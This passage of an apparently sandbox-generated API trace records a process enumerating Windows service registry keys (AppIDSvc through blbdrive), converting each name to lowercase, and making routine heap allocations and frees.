RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0239.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1e38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0239.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 